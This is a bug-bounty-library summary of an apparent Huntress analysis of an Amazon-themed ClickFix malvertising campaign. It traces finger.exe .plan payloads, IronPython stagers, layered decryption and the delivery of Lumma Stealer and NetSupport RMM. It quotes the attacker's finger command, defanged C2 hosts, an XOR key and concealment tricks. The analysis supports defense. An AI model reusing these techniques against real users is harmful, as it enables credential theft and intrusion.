# Amazon-Themed ClickFix Campaign Serves Up Finger-Licking Malware

Malvertising ClickFix lure abuses finger.exe .plan files to run obfuscated scripts, delivering Doina, Lumma Stealer and NetSupport RMM to victims.

- Payout: Real-world hack
- Severity: high
- Program: Amazon
- Analysis by: Huntress
- Disclosed: 2026-10-21
- Write-up quality: 8/10
- Original: https://www.huntress.com/blog/amazon-clickfix-finger
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-amazon-clickfix-finger
- Tags: area:os domain:desktop impact:ato impact:data-leak kind:incident platform:threat-intel sev:high tech:windows technique:chained vuln:command-injection vuln:secrets-leak

**Target:** Windows endpoints via finger.exe LOLbin and .plan file
**Root cause:** ClickFix social engineering tricks users into pasting an obfuscated command into the Run dialog; the command invokes finger.exe against an attacker account whose .plan file contains a hidden script (68 carriage returns push it off-screen), which downloads IronPython and executes further encoded payloads.
**Steps:**
1. Sponsored Google ad for 'amazon business' points to `orders-amazon[.]com[.]advancedfences[.]com` redirecting to fake Amazon login on `sites.google[.]com/view/ch-pc/sign-in`
2. Fake CAPTCHA 'I'm not a robot' pastejacks a command to clipboard; user pastes into Windows Run dialog
3. Command obfuscated with commas/carets/hyphens/underscores and padded with spaces+hyphens so Run box shows only 'Push the Enter key'
4. Command runs `finger DLVBUCeFfF@grillrecipespro[.]com`; .plan file content (hidden below 68 CRs) executes
5. Script curls `github[.]com/IronLanguages/ironpython3/releases/download/v3.4.2/IronPython.3.4.2.zip` to Temp as .pdf, unpacks with tar, runs ipyw32.exe with Base64/zlib Python blob
6. Blob fetches `hxxp://grillmasterchef[.]com/.../timer6`; Base64 with Cyrillic substitution, reversed then decoded, 19-byte XOR key `84 0d ff da 80 29 b6 1b 52 9b 42 40 5d 55 aa 80 a5 7e 7c` yields PE loader
7. Loader reads .ini URL, downloads `hxxps://grillmasterchef[.]com/.../v6`, RC4-decrypts (key = first 64 bytes), injects Doina
8. Doina POSTs to C2, pulls `hxxps://kiriosyka[.]com/KsxmmKiN5N0j/sqr-viewertr6` (52MB Node.js + obfuscated index.js) to C:\ProgramData\NodeView
9. index.js AES-256-GCM decrypts two .tmp files (12-byte nonce, 16-byte key), runs sRDI loader injecting Lumma Stealer via process hollowing
10. Lumma beacons over HTTPS then websocket, exfils to thegrilljournal[.]com/homelygrill[.]com; NetSupport RMM also dropped to C:\ProgramData\Prodclear, C2 167.148.201[.]106:725/fakeurl.htm
**How found:** Huntress Adversary Tactics investigated customer incidents, captured full infection chain, reverse-engineered timer6 (noting Veil shellcode_inject/flat.py similarities), decoded Cyrillic-substituted Base64 and XOR layer, and analyzed websocket C2 traffic to enumerate targeted apps.
**Exploitation:** Malvertising + fake login + fake CAPTCHA drives user to paste finger.exe command; multi-stage downloaders (IronPython, timer6, v6/Doina, Node index.js) decrypt and inject Lumma Stealer and NetSupport RMM in memory, harvesting browser, wallet, password-manager and email credentials and exfiltrating over websocket to themed C2 domains.
**Escalation:** Modular Node.js loader allows swapping payloads and periodic updates (with `?exclude_bins=true` for smaller updates); server appends random null bytes per request to change archive hashes and evade detection; Doina can pivot to ransomware.
**Insight:** finger.exe (port 79/tcp) is a rarely-blocked LOLbin: attacker .plan files can host scripts hidden below the terminal fold with carriage returns, and Run-dialog padding with spaces/hyphens hides the real command from the user.

## Proof of concept (copied exactly from the original report)

**ClickFix finger command invoking .plan payload**

```
The command, pasted into a text editor, looks like this:

Figure 4: The ClickFix command text
The command itself is not readily visible in the Run dialog because the threat actors have crafted the command line with a suffix that uses extra spaces and hyphen characters to trail the actual command. To an end user, the effect is that the content of the Run dialog seems to say, simply, "Push the Enter key."

Figure 5: The Run dialog conceals the command
The effect of the command line, however, is far from benign. It instructs the Windows command interface to execute the content contained within the .plan file at the other end of the command finger DLVBUCeFfF@grillrecipespro[.]com.
```

**Stage 1 curl/tar IronPython download script**

```
So the script spawns curl to download and unpack IronPython.3.4.2.zip from its repository location, github[.]com/IronLanguages/ironpython3/releases/download/v3.4.2/IronPython.3.4.2.zip.
```

**XOR key for shellcode layer**

```
This shellcode layer is protected with a 19-byte XOR key (Hex: 84 0d ff da 80 29 b6 1b 52 9b 42 40 5d 55 aa 80 a5 7e 7c)
```